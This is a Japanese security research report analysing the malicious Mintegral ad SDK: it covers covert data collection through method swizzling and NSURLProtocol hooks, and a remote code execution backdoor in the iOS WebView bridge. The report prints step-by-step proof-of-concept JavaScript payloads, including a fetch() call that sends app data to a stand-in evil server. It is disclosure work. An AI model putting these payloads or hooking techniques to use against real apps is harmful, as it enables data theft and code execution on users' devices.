Skip to main content

SourMintの悪意あるSDKに関する調査レポート

著者
Headshot of Kirill Efimov

Kirill Efimov

feature research

2020年10月16日

0 分で読めます

概要

iOSでの過剰なデータ収集[2020年8月]

iOSでのリモートコード実行(RCE)[2020年10月]

Androidでのダウンロード追跡[2020年10月]

タイムライン

概要

Mintegral SDKは、iOSとAndroidの両プラットフォームで利用できる、人気のモバイルアプリ広告SDKです。毎月10億回以上ダウンロードされる数千のモバイルアプリで利用されています。アプリ開発者は、このSDKを使ってサードパーティ広告を配信し、アプリを収益化します。

Snykのセキュリティリサーチチームは、Mintegral SDKに関する重大な開示を2件行いました。最初の開示は2020年8月に公開され、SDKのiOS版で過剰なデータ収集とクリックハイジャックが行われていることを明らかにしました。2件目の開示では、SDKのiOS版にリモートコード実行を可能にするバックドアが見つかったほか、SDKのAndroid版についても新たな発見がありました。

この記事では、ブログ記事で取り上げた内容を超えて、調査と発見事項の技術的な詳細を紹介します。

このレポートは、次の3つのセクションで構成されています。

  • 過剰なデータ収集(iOS SDKにおけるすべてのHTTPリクエストの傍受と記録を含む)—2020年8月24日に公開された内容で、Mintegral SDKのiOS版におけるURLとリクエストの追跡機能について説明します。

  • SDKのiOS版におけるバックドアがリモートコード実行を可能にする—2020年10月15日に公開されたMintegralAdSDKのリモートコード実行機能について説明します。

  • AndroidでのダウンロードURL追跡—Mintegral SDKのAndroid版に関するさまざまな発見事項を説明します。

iOSでの過剰なデータ収集[2020年8月]

概要

この調査のパートでは、2020年8月時点でオープンソース版を入手できなかったため、Mintegral iOS SDKのバイナリ版を調査しました。調査対象は、GitHubからダウンロードできるSDKバージョン6.3.5.0(x86アーキテクチャ)です。

Mintegral iOS SDKのバージョン5.5.1以降には、情報漏えいにつながる悪意ある機能が含まれていることを確認しました。簡単に言えば、このSDKはユーザーによるリンクのクリックや、影響を受けるアプリ内のネットワークアクティビティを監視します。この監視は、開発者や広告メディエーションプラットフォームがSDKを有効にしていなくても行われます。また、プロキシ、シミュレーター、脱獄済みデバイスを検出し、悪意ある動作を隠そうとします。

メソッドスウィズリング

Mintegral SDKは、メソッドスウィズリングと呼ばれる手法を使って、実行時にUIApplication openURLメソッドとSKStoreProductViewController loadProductWithParametersメソッドの実装を置き換え、さらに独自のNSURLProtocolクラスを登録します。

これらのフックは、アプリ内でユーザーが行ったHTTPリクエストや開いたURL、クリックしたApp Storeリンクに関する情報をすべて送信し、アプリのユーザーを監視するために使われます。

HTTPリクエストのヘッダーやURL自体に機密データが含まれている可能性がありますが、IDFA(広告主識別子)と組み合わせることで、Mintegralは広告アトリビューション詐欺を実行できます。

広告アトリビューション詐欺

アプリを収益化するため、開発者は広告プラットフォームを導入することがよくあります。広告プラットフォームは、ユーザーが広告をクリックした後にアプリがインストールされるたび、広告主から収益を受け取ります。開発者がアプリで複数の広告プラットフォームを使うことも珍しくありません。そのため、インストールのアトリビューションをどの広告プラットフォームに付与すべきか判断するために、クリックはそれぞれ、アトリビューションプロバイダーであるモバイル計測プラットフォーム(MMP)に登録されます。

下の図は、Mintegralの悪意ある機能の仕組みを示しています。この例では、ユーザーは「Another Platform」の広告をクリックしました。しかし、Mintegralはアプリが開くすべてのURLを傍受できるため、アトリビューションプロバイダーに追加のリクエストを送り、あたかも自社の広告がクリックされたかのように見せかけることができます。処理の全体像は次のとおりです。

  1. ユーザーが、Mintegral以外の広告ネットワークが配信したアプリ内広告のリンクをクリックし、App Storeから新しいアプリをインストールします。

  2. 広告ネットワークのSDKが、クリック情報をバックエンドプラットフォームに送信します。

  3. メソッドスウィズリングを介してiOSのイベントハンドラーに注入されたコードでクリックイベントを傍受したMintegralは、クリックデータをサーバーに記録します。

  4. 広告ネットワークが、アトリビューションプロバイダーにクリック通知を登録します。

  5. Mintegralも、アトリビューションプロバイダーにクリック通知を登録します。

アトリビューションプロバイダーがインストールイベントと登録済みのクリック通知を照合すると、一致する通知が2件見つかります。ラストタッチアトリビューションモデルでは、Mintegralのクリック通知にアトリビューションが付与され、もう一方の広告ネットワークのクリック通知は却下されます。

App Store、アトリビューションプロバイダー、別のプラットフォーム、Mintegral間におけるモバイルアプリのトラッキングの流れを、番号付きの矢印1~5で示した図。

Snykは大手アトリビューションプロバイダーと連携し、Mintegralがクリックデータを使って偽のクリック通知を生成していることを確認しました。プロバイダーの調査により、偽のクリック通知が生成され、広告クリックのアトリビューションが誤ってMintegralに付与されていることが明らかになりました。

デモアプリ

攻撃を実証するため、デモアプリを用意しました。このアプリでは、悪意あるopenURLフックの動作を確認できます。デバッグ用プロキシを使って、すべてのネットワークトラフィックを傍受します。

アプリの初期化には、Mintegralのドキュメントにある次のコードスニペットを使います。

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
    [[MTGSDK sharedInstance] setAppID:@"xxxxxx" ApiKey:@"yyyyyyyyyyyyyyyyyyyyyyyyy"];
    return YES;
}

SDKを初期化した後、ボタンをクリックしてアプリからexample.comを開きます。

- (IBAction)openURLWithOptions:(id)sender {
    [[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"http://example.com?foo=bar&x=y"] options:@{} completionHandler:nil];
}

アプリを起動するとすぐに、プロキシ上でMintegral SDKからのリクエストがいくつか確認できます。

Charles Proxyにリクエストパラメーターとクエリデータが表示され、その横にURLと実行時フックの検出用のカラフルなボタンを備えたiPhoneアプリが表示されている

設定

https://setting.rayjump.com/setting_からのレスポンスは、さまざまなオプションを含むJSONオブジェクトです。次の表では、調査上特に注目すべきフィールドを説明します。

JSONフィールド

説明

csw

アンチデバッグ機能の有効・無効を切り替えます。

cou

openURLメソッドフックの有効・無効を切り替えます。

cdai

漏えいした情報の送信先URL(*)。

cspn

StoreKitメソッドのフックの有効・無効を切り替えます。

cud

NSURLProtocolのフックの有効・無効を切り替えます。

cudl

NSURLProtocolで追跡するURLの配列(**)。

* 今回の場合はLdxThdi1WBK/WgfPhbxQYkeXHBPwHZKsYFh=で、デコードするとhttps://n.systemlog.me/logになります。

** 今回の場合はkBzuJd5/H+i/D+SMY7V/DFKwR0M0D+SMhBPthdSsHZPUYFT0+N==で、デコードすると["itunes.apple.com","apps.apple.com"]になります。

ペイロードのデコード

example.comを開くボタンをクリックすると、さらに2つのリクエストが確認できます。1つ目は予想どおりhttp://example.comへのGETリクエストです。2つ目はhttps://n.systemlog.me/logへのPOSTリクエストです。

長いエンコード済みペイロードを含むPOSTリクエストをCharles Proxyに表示し、その横にフック検出オプションを表示したiPhoneアプリ

リクエストの本文はBase64でエンコードされているように見えますが、実際にはBase64文字列ではありません。Mintegral SDKは独自のエンコード・デコードロジックを実装しており、+[MTGBase base64DecodeString:]と+[MTGBase base64CleverDecodeString:]に記述されています。MTGBaseはSDKの公開ヘッダーに公開されておらず、開発者がアクセスすることを想定していない点に注意してください。

次のコードスニペットを使ってペイロードをデコードします。

Class cls = NSClassFromString(@"MTGBase");
NSObject *obj = [cls performSelector:NSSelectorFromString(@"base64CleverDecodeString:") withObject:@"THE REQUEST BODY HERE"];
NSLog(@"%@", obj);
デバイスのメタデータとiOSアプリケーションのコードスニペットを含む、デコード済みペイロードを表示したターミナルのスクリーンショット

ペイロードには、IDFA、IDFV、OSバージョン、ユーザーエージェントなど、多くのデータが含まれています。また、「clever」というフィールドもあり、こちらもエンコードされています。base64DecodeStringを使ってデコードできます。

[{'cn': 'ViewController', 'u': 'http://example.com?foo=bar&x=y', 'nid': 0, 'type': '3', 'mn': 'openURLWithOptions:', 'trc': '["2|awesomegame|0x0000000104102f18 -[ViewController openURLWithOptions:] + 152","3|UIKitCore|0x00007fff49326c1d -[UIApplication sendAction:to:from:forEvent:] + 83","4|UIKitCore|0x00007fff48cd5baa -[UIControl sendAction:to:forEvent:] + 223","5|UIKitCore|0x00007fff48cd5ef2 -[UIControl _sendActionsForEvents:withEvent:] + 396","6|UIKitCore|0x00007fff48cd4e63 -[UIControl touchesEnded:withEvent:] + 497"]'}]

ご覧のとおり、URL、スタックトレースのほか、コントローラー名やメソッド名などの追加情報も含まれています。

さらに詳しく調べる

前述のとおり、Mintegral SDKはクローズドソースです。ここでは、x86アーキテクチャ向けのバージョン6.3.5.0を調査します。

バイナリは、複数の別のバイナリを含むMach-O実行ファイルです。調査対象のコードは_CXX_CXX_OperationPKTask.oにあります。

クラスを確認すると、+[_CXX_CXX_OperationPKTask load]が見つかります。このメソッドは、クラスが実行時に追加されると自動的に実行されます。つまり、SDKをCocoaPods経由でインストールすると、開発者が実際にSDKを使うかどうかにかかわらず、悪意あるロジックが初期化されます。

loadメソッドはいくつかの呼び出しを行い、最終的に___cxxwebk_init_vwに到達します。このメソッドはアンチデバッグ保護フラグが有効かどうかを確認し、フラグがfalseの場合、またはデバッグが無効の場合にフックを初期化します。

CSWのデバッグ対策保護呼び出し、C0U、cspnの参照を示す、注釈付きの逆アセンブルコード。

フックの初期化は、前述の設定リクエストに依存します。次の表は、レスポンス内のJSONフィールドとMTGSettingクラスの対応関係を示しています。

JSONフィールド

MTGSettingプロパティ

説明

csw

cSrtW

アンチデバッグ機能の有効・無効を切り替えます。

cou

cOpenURL

openURLメソッドフックの有効・無効を切り替えます。

cspn

cPackageName

StoreKitメソッドのフックの有効・無効を切り替えます。

アンチデバッグロジック

「/Applications/Cydia.app」と「/Library/MobileSubstrate/MobileSubstrate.dylib」を指す赤い注釈が付いた、コードの暗いスクリーンショット。

__cxx_cxx_op_isInSuperViewFrame関数は、次の場合にtrueを返します。

  • デバイスのプラットフォームが「シミュレーター」である。

  • デバッガーがアタッチされている(____mvpmvvm_isDebuggerAttached_block_invokeで実装)。

  • デバイス上に次のファイルのいずれかが存在する(脱獄の兆候)。

    • /Applications/Cydia.app

    • /Library/MobileSubstrate/MobileSubstrate.dylib

    • /bin/bash

    • /usr/sbin/sshd

    • /etc/apt

    • /usr/bin/ssh

  • プロキシが有効になっている(CFNetworkCopySystemProxySettingsを使用)。

openURLのメソッドスウィズリング

次のスクリーンショットのロジックは___cxxwebkmcouitninapoメソッドに実装されており、該当するフラグが有効な場合に___cxxwebk_init_vwから呼び出されます。

NSURLのopenURLメソッドの実装を示す、Objective-Cソースコードが表示されたダークテーマのコードエディター。

「blog-sour-mint-openurl-method-swirl」—上のスクリーンショットは、メソッドスウィズリングの実装を示しています。次の呼び出しを実行します。

  1. 「openURL:」メソッドのセレクターを取得するNSSelectorFromString。

  2. UIApplicationのクラス記述子を取得するNSClassFromString。

  3. メソッド記述子を取得するclass_getInstanceMethod。

  4. メソッドの実際の実装を取得するmethod_getImplementation。

  5. 次に、_____cxxwebkmcouitninapo_block_invoke_2を呼び出した後、元のopenURLを呼び出すコードブロックを定義します。

  6. method_setImplementationを使い、元のopenURLを前の手順で作成したコードブロックに置き換えます。

openURL:options:completionHandler:メソッドでもほぼ同じ処理が行われますが、その前にシステムバージョンを確認します(このハンドラーが導入されたのはiOS 10です)。

ここまでで、フックがどのように適用されるかを確認しました。次に、フック自体の実装(_____cxxwebkmcouitninapo_block_invoke_2)を見ていきます。

openURLフックの実装

実際の実装は___cxxwebkmcoulszメソッドにあります。ここでは、もう1つのアンチデバッグチェックが呼び出された後、__mc_notifyInHouseフラグが確認され、このフラグが1の場合は何も行いません。

これは、ユーザーがMintegralが配信した広告でクリックしたマーケティングURLをすべて無視するためです。下のスクリーンショットにある+[MTGBase mtgOpenURL:options:completionHandler:]で、該当するロジックを確認できます。

MTGBaseのObjective-Cメソッド実装を表示したダークテーマのコードエディター。デバイス、システムバージョン、メモリ、アプリケーション通知の呼び出しを含む。

次のコードから、バックトレースデータもシリアライズし、https://n.systemlog.me/logに送信するペイロードに含めて漏えいさせていることが分かります。

+[_CXX_CXX_OperationPKTask _cxx_cm_log_warnings:to:ins:]の呼び出しにブレークポイントを設定できます。次のスクリーンショットで、呼び出し引数を確認できます。

iOSアプリのViewController openURLWithOptionsメソッドのアセンブリコードとコールスタックを表示するデバッガー
  • 開かれたURL(http://example.com?foo=bar&x=y)。

  • クリックが発生したクラス(ViewController)。

  • クリックが発生した箇所から呼び出されるメソッド(openURLWithOptions:)。

  • バックトレース情報。

もう1つ興味深い関数は_nsh_id_by_ccです。競合他社のSDKを特定する役割を担っているようです。関連するロジックを次のスクリーンショットに示します。

GADCategoriesや広告関連サービスへの参照を含む、Objective-Cの逆コンパイルコードを表示したダークテーマのコードエディター

+[_CXX_CXX_OperationPKTask _cxx_cm_log_warnings:to:ins:]に戻ると、ペイロードを+[MTGBase base64EncodeString:]でエンコードした後、新しいコードブロックを作成し、_dispatch_asyncを使って実行しています。

さらに呼び出しが続き、ペイロードに追加の変換が加えられた後、-[_MC_ApiManager AFRequestWithUrl:paras:success:failure:]にたどり着きます。このメソッドは、MTGSettingのcollectDomainUrl(デフォルトではhttps://n.systemlog.me/log)にPOSTリクエストを送信します。

非公開URLが漏えいする様子を示す動画。

A demonstration of the SourMint Malicious SDK from Mintegral

SKStoreProductViewControllerのフック

SKStoreProductViewControllerは、ユーザーがApp Storeからメディアを購入できるページを表示するビューコントローラーです。

loadProductWithParameters:completionBlock:メソッドは、新しい商品画面を読み込んで表示します。

フックの実装に関する技術的な詳細には踏み込まず、デモアプリケーションに次のコードスニペットを追加しました。

- (IBAction)openSKStoreProductViewController:(id)sender {
    SKStoreProductViewController *storeViewController = [[SKStoreProductViewController alloc] init];
    [storeViewController setDelegate:self];
    NSDictionary *productParams = @{SKStoreProductParameterITunesItemIdentifier: [NSNumber numberWithInt:1234567890]};
    [storeViewController loadProductWithParameters:productParams completionBlock:nil];

その結果、https://n.systemlog.me/logへのPOSTリクエストが確認され、「clever」フィールドには次のペイロードが含まれていました。

[{'cn': 'UIApplication', 'mn': 'sendAction:to:from:forEvent:', 'nid': 0, 'aid': '{"id":1234567890}', 'type': '2', 'trc': '["2|UIKitCore|0x00007fff49326c1d -[UIApplication sendAction:to:from:forEvent:] + 83","3|UIKitCore|0x00007fff48cd5baa -[UIControl sendAction:to:forEvent:] + 223","4|UIKitCore|0x00007fff48cd5ef2 -[UIControl _sendActionsForEvents:withEvent:] + 396","5|UIKitCore|0x00007fff48cd4e63 -[UIControl touchesEnded:withEvent:] + 497","6|UIKitCore|0x00007fff49362508 -[UIWindow _sendTouchesForEvent:] + 1359"]', 'dur': 24}] 

ご覧のとおり、リクエストに商品IDが含まれています。これで証明できました。

NSURLProtocolのフック

NSURLProtocolクラスを使うと、開発者はAppleのURL読み込みシステムの動作を再定義できます。Mintegral SDKは、悪意のあるNSURLProtocolの実装を登録します。この実装はリモートから設定でき、アプリケーションが送信するあらゆるリクエストを傍受し、URLやHTTPヘッダー(Authorizationヘッダーを含む)を追跡できます。

アプリケーション開発者にとって、APIトークン、Cookie、Basic認証ヘッダーがMintegralによって収集される可能性があるということです。

SDKが悪意のあるコードのこの部分を有効化する仕組みを理解するには、___cxxwebk_init_vwをもう一度確認する必要があります。

「cud」「cudl」「NSURLProtocol hook init.」を指す赤い注釈が付いた、Objective-Cランタイムコードの暗色のスクリーンショット。

上のスクリーンショットが示すように、フックを有効にするにはcudフラグを有効にし、cudl配列を空でない状態にする必要があります。

次のスクリーンショットは、上記のメソッドから呼び出される___cxxwebkterisiuuxx関数の一部を示しています。

クラスやセレクターへの参照を含むObjective-Cランタイムコードを表示したダークテーマのコードエディター

___cxxwebkterisiuuxx関数内のコードは、次の処理を実行します。

  1. NSURLProtocolを継承するクラスを作成します(objc_registerClassPair、objc_allocateClassPair)。

  2. 実質的にインターセプターとなるcanInitWithRequest:の実装を追加します(class_addMethod)。

  3. +[NSURLProtocol registerClass:]を呼び出して、URL読み込みシステムにクラスを登録します。

調査では、悪意のあるコードが収集するデータを確認するため、次のコードスニペットを追加しました。

- (IBAction)httpRequestWithURLSession:(id)sender {
    NSURLSessionConfiguration *sConf = [NSURLSessionConfiguration defaultSessionConfiguration];
    sConf.HTTPAdditionalHeaders = @{@"Authorization": @"Basic YWRtaW46YWRtaW4K"};
    NSURLSession *session = [NSURLSession sessionWithConfiguration:sConf];
    NSMutableURLRequest *req = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:@"http://example.com/get-secret-data"]];
    req.HTTPBody = [@"foo=bar" dataUsingEncoding:NSUTF8StringEncoding];
    req.HTTPMethod = @"POST";
    NSURLSessionDataTask *task = [session dataTaskWithRequest:req];
    [task resume];
}

その結果、https://n.systemlog.me/logへのPOSTリクエストが確認され、「clever」フィールドには次のペイロードが含まれていました。

[{'cn': '', 'u': 'http://example.com/get-secret-data', 'mn': '', 'nid': 0, 'hhf': '{"Authorization":"Basic YWRtaW46YWRtaW4K","Content-Length":"7"}', 'type': '1', 'hm': 'POST'}]

リクエストにはURLとAuthorizationヘッダーが含まれています。リクエスト本文は含まれていませんが、ヘッダーにも機密データが含まれることは少なくありません。個人を特定できる情報が含まれる可能性さえあります。たとえば、APIでJWTトークンを使っている場合、メールアドレスやユーザー名がトークン内に格納されていることがあります。

まとめ

調査を通じて、Mintegralの開発者がSDKの悪意ある挙動を隠すために使っている、興味深い手法を数多く確認しました。特定の地域における特定のアプリケーションでのみフックを有効にしていたため、悪意のあるコードは1年以上にわたって発見されずに存在し続けていたと考えられます。

時系列を見ると、悪意のあるSDKの初版(5.5.1)は2019年7月17日に公開されました。その後のすべてのバージョンにも、同じ悪意のある機能が含まれていたことがわかりました。

このSDKの悪意ある活動は、多くの人気アプリケーションに影響を及ぼしました。今回の調査が状況を明らかにすることで、今後、広告ネットワークに対する監視が強化され、プライバシー保護が向上することを期待しています。

iOSにおけるリモートコード実行(RCE)[2020年10月]

要約

SDK内のさまざまな箇所でJavaScriptとの通信に使われているMTGBaseBridgeWebViewクラスがバックドアとして機能し、ネイティブアプリケーションのコードから任意の関数を呼び出せることを発見しました。

サーバーが個人ユーザーデータと悪意のあるバナーペイロードをモバイルアプリに送信し、ネイティブコードとバナーがMintegralのUIWebViewに表示される様子を示す図。

上の図は、リモートコード実行の動作を簡略化して示したものです。

差分分析

最初の一般公開による開示の後、MintegralはSDKのオープンソース版をリリースしたと発表しました。

そこで、新しいオープンソース版と、以前CocoaPods経由で配布されていたバイナリ版を比較しました。旧バージョンのソースコードはありませんでしたが、クラス名を比較することはできました。そのため、バイナリから.oファイルを抽出し、シンボルをオープンソース版の.hファイルと比較しました。

予想どおり、以前発見された悪意のある_CXX_CXX_OperationPKTaskコンポーネントは削除されていましたが、差分から別のものが見つかりました。次のクラスが目に留まりました。

  • MTGCommandDispatcher

  • MTGComponentCommands

  • MTGRemoteCommand

  • MTGRemoteCommandParameterModel

  • MTGRemoteCommandParser

  • MTGInvocationBoxing

これらのファイルの用途を理解するため、バイナリを詳しく調べることにしました。

影響を受けるバージョン

MintegralAdSDKの6.5.0.0以前の全バージョン(6.5.0.0を含む)。2020年9月10日に公開されたバージョン6.6.0.0には、本稿で説明するバックドア機能は含まれていません。

ブリッジの実装

まずMTGRemoteCommandParserクラスの使用箇所を調べたところ、使用箇所は1つだけでした。MTGBaseBridgeWebViewクラスの-(void)handleNativeObject:parameters:です。

実装を見ると、-(void)handleNativeObject:parameters:はMTGRemoteCommandParserを使ってparameters引数を解析し、MTGCommandDispatcherクラスの-(void)dispatchCommand:feedback:メソッドを呼び出しています。

一見すると-(void)handleNativeObject:parameters:は使われていないように見えますが、実際はそうではありません。JavaScriptコードから呼び出す方法を見てみましょう。

MTGBaseBridgeWebViewは、WKNavigationDelegateプロトコルの-(void)webView:decidePolicyForNavigationAction:decisionHandler:メソッドを実装しています。このメソッドは、Webビュー内でナビゲーションが発生するたびに呼び出されます。つまり、JavaScriptからlocation.href=somethingを呼び出すだけで、このメソッドを実行できます。SDKのオープンソース版では、ナビゲーションリクエストのURLを解析する正規表現が見つかりました。mv://(.+?):(.+?)/(.+?)\\?([\\s\\S]*)。

正規表現でmV URLを解析し、関数名、ID、パラメーターを抽出するObjective-Cコードを表示した、ダークテーマのコードエディター。

上のスクリーンショットにある-(void)callFunctionWithName:fucId:param:は、selfに対してfucNameセレクターを使って呼び出しを行っています。

したがって、MTGBaseBridgeWebViewの-(void)handleNativeObject:parameters:を呼び出すには、次のJavaScriptコードを実行します。location.href = 'mv://1:fucId/handleNativeObject?<parameters>'。

なお、執筆時点でSDKの最新バージョンとオープンソース版では、ここまで説明した内容はすべて当てはまります。ただし、最新リリースでは-(void)handleNativeObject:parameters:が削除されている点のみ例外です。

リモートメソッド呼び出し

MTGInvocationBoxingやその他のクラスの実装全体を説明することはしません。代わりに、リモートメソッドを実行する悪意のあるJavaScriptコードをどのように作成できるかを紹介します。

次の概念実証では、「シンプルノート」アプリケーションを攻撃します。このアプリケーションには、+(void)save:と+(NSString*)loadという2つのメソッドを持つNoteRepositoryクラスがあります。

Mintegralのサーバーを独自のサーバー実装に置き換えて、悪意のあるJavaScriptコードを挿入します。このアプリケーションとサーバーのソースコード全体はこちらにあります。

このアプリケーションで使用する悪意のあるJavaScriptコードは次のとおりです。

window.WindVane = {
     onSuccess: function (_, data) {
         fetch('https://demo-evil-server.com/log?data=' + encodeURIComponent(atob(data)));
     }
 };

location.href = 'mv://1:fucId/handleNativeObject?{"uniqueIdentifier":"hbxtJ7QU+TPXJ75ZH+SXhFQTYbzP","name":"Y7KtHv==","result":{"type":3}}';

値

デコード結果

hbxtJ7QU+TPXJ75ZH+SXhFQTYbzP

static_NoteRepository

Y7KtHv==

load

このコードはNoteRepositoryクラスの+(NSString*)loadメソッドを呼び出し、その結果をdemo-evil-server.com/logエンドポイントに送信します。

前のセクションで説明したものと同じ難読化手法を使っています。ただし、この概念実証には、エンコードとデコードを行うJavaScriptコードがすでに含まれています(banner.htmlを参照)。

完全なリモートコード実行(RCE)の実現

上の例では、このSDKを使うと任意のクラスの静的メソッドを呼び出せることを確認しました。このセクションでは、この機能を利用して任意のネイティブコードを実行する方法を示します。

実演では、「PWNED!」というメッセージを表示するUIAlertControllerを作成する方法を紹介します。

まず、次のObjective-Cコードを参考に見てみましょう。

UIAlertController *alert = [[UIAlertController alloc] init];
[alert setMessage:@"PWNED!"];
[[[[UIApplication sharedApplication] keyWindow] rootViewController] presentViewController:alert animated:YES completion:nil];

呼び出しの間、UIAlertControllerのインスタンスを作成して保持する方法、共有アプリケーションインスタンスを取得する方法、そしてそのインスタンスを使ってpresentViewController:animated:completion:を呼び出す方法を解明する必要があります。

ステップ1:UIAlertControllerクラスへの参照を保存する

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=', // setObject:forKey:
    'parameters': [
        {
            'type': 1,
            'value': {'uniqueIdentifier': 'hbxtJ7QU+25zNkeQhgxaYFPThrKsY75B'} // static_UIAlertController
        },
        {'type': 2, 'value': 'a' }
    ]
});

MTGRemoteCommandParserは、次の2種類のオブジェクト参照をサポートしています。

  • static:名前を指定してクラスオブジェクトへの参照を取得します。

  • singleton:次の複数の処理を実行します。

    1. 名前を指定してクラスを取得します(この例ではMTGSetting)。

    2. そのクラスのsharedInstanceメソッドを実行します。Objective-Cでは[MTGSetting sharedInstance]に相当します。

    3. valueForKey:を使って、ドットで区切られたプロパティを取得します。この場合は[[MTGSetting sharedInstance] valueForKey:@"jsonTitles"]となります。

jsonTitlesは単なるNSMutableDictionaryのインスタンスです。エクスプロイトでは、参照を一時的に保存する場所として使います。MTGRemoteCommandParserがサポートするパラメーターの型は次のとおりです。

  • 0:数値。

  • 1:参照。

  • 2:文字列。

  • 4:nil。

参照型(1)を使うと、メソッドの引数としてオブジェクトへの参照を渡せます。重要なのは、uniqueIdentifierがトップレベルのuniqueIdentifierとまったく同じ方法で解析されるため、singleton型にも対応している点です。

ステップ2:UIAlertControllerクラスの新しいインスタンスを割り当てる

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=', // setObject:forKey:
    'parameters': [
        {
            'type': 1,
            // singleton_MTGSetting.jsonTitles.a.alloc.init
            'value': {'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBPtWrcsY7KUWrQ\/L+N='}
        },
        {'type': 2, 'value': 'b'}
    ]
});

この場合、すべての処理はsingleton_MTGSetting.jsonTitles.a.alloc.initで行われます。すでに説明したように、singleton_MTGSetting.jsonTitles.aを使うとUIAlertControllerクラスへの参照を取得できます。しかし、なぜ[[UIAlertController valueForKey:@"alloc"] valueForKey:@"init"]が機能するのかを解明する必要があります。valueForKey:のドキュメントには、次のように記載されています。

valueForKey:が返す値を検索するために使用する検索パターンについては、Accessor Search Patternsの「Key-Value Coding Programming Guide」で説明されています。

調査の結果、valueForKey:は引数を取らないメソッドであれば、名前を指定して任意のメソッドを呼び出せることがわかりました。

これでUIAlertControllerクラスの新しいインスタンスを作成し、jsonTitles辞書のプロパティbから参照できるようになります。

ステップ3:「PWNED!」メッセージを設定する

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP0', // singleton_MTGSetting.jsonTitles.b
    'name': 'hF5Tnk5AhFcgHnE=', // setMessage:
    'parameters': [{'type': 2, 'value': 'PWNED!'}]
});

この手順は簡単です。UIAlertControllerのインスタンスでsetMessage:を呼び出し、メッセージにPWNED!を設定します。

ステップ4:UIApplicationクラスへの参照を保存する

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=',
    'parameters': [
        {'type': 1, 'value': {'uniqueIdentifier': 'hbxtJ7QU+25zN+SMY7QUD+xuYF9='}}, // static_UIApplication
        {'type': 2, 'value': 'x' }
    ]
});

この手順はステップ1と似ています。UIApplicationクラスへの参照をjsonTitles.xに保存します。

ステップ5:アラートを表示する

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    // singleton_MTGSetting.jsonTitles.x.sharedApplication.keyWindow.rootViewController
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP9WgfED+zQHjcMh7euDFcTLkK\/WrwQ45JuYrxXJBPBYFKT5rQQJTfXYgxBYFesH+R=',
    // presentViewController:animated:completion:
    'name': 'hdzQhF5\/JcHuH+JaYFPThrKsY75BGrc\/Lk2tJ753GrfXY+SsH+xuYF91',
    'parameters': [
        {
            'type': 1,
            // singleton_MTGSetting.jsonTitles.b
            'value': {'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP0'}
        },
        {'type': 0, 'value': 1},
        {'type': 4} // nil
    ]
});

この手順は複雑に見えますが、これまでの手順で紹介したさまざまな手法を組み合わせるだけです。Objective-Cのコードでは次のようになります。

[MTGSetting.sharedInstance.jsonTitles.x.sharedApplication.keyWindow.rootViewController
    presentViewController:MTGSetting.sharedInstance.jsonTitles.b // this is out instance of UIAlertController
    animated: 1
    completion: nil
];

これで、リモートコード実行によってアラートを表示できることを実証しました。ペイロード全体はこちらで確認できます。各手順を1つずつ実行するため、アクションの配列を作成し、それぞれのアクションの完了後に次のアクションを実行するよう、window.WindVane.onSuccessコールバック内で実行しました。

悪意のある広告を通じてエクスプロイトを配信し、クリップボードの内容が漏えいする様子を示す動画。

Remote Code Execution using Mintegral's MTGInvocationBoxing

JavaScriptエクスプロイトのソースコード

これまでに、Mintegral SDKがJavaScriptコードを介してネイティブのリモートコード実行を可能にすることを確認しました。ただし、そのJavaScriptコードはすべてMintegralが所有し、管理しています。しかし興味深いことに、広告主自身が作成したインタラクティブ広告を使っても、同じことを実現できます。広告はJavaScriptベースのウェブページです。

理論上、広告主はJavaScriptエクスプロイトを含む悪意のある広告を配信することで、特定のユーザーグループや特定のデバイス群を正確に狙うことができます。

結論

MintegralがSDKにネイティブメソッドをリモートで呼び出す機能を組み込んだ理由は推測するしかありませんが、MTGCommandDispatcherやMTGRemoteCommandといったクラス名から、意図的なものだったと考えられます。また、公開時点ではそのことを把握していませんでしたが、公開直後にMintegralはこのコードを削除しました。

Androidにおけるダウンロード追跡[2020年10月]

概要

この調査記事の前の2つのセクションでは、SnykのセキュリティチームがMintegral SDKの悪意ある挙動を発見し、iOSデバイスで広告詐欺、データ漏えい、リモートコード実行(RCE)につながる可能性があることを説明しました。このセクションでは、SDKのAndroid版についてさらに調査した結果を紹介します。主な発見は次のとおりです。

  1. GoogleからのURIダウンロードを追跡。ブラウザーやアプリ経由のダウンロードに加え、通常のファイル、メールの添付ファイル、Google Docsのリンクも対象。

  2. 通常のものかどうかを問わず、すべてのAPKダウンロードを追跡。

このデータはMintegralのサーバーに送信されます。

確認された挙動

Google Docsのリンクをダウンロードすると、アプリからhttps://n.systemlog.meへの次のリクエストが送信されることを確認しました。

n.systemlog.meに送信されたURLエンコード済みデータを含む生のPOSTリクエストを表示するWebセキュリティツール

これは、iOS SDKがMintegralのサーバーにデータを報告するために使用していたものと同じエンドポイントです。ペイロードはエンコードされていますが、SDKバイナリに含まれるデコード処理を使うと、次の内容を取得できます。

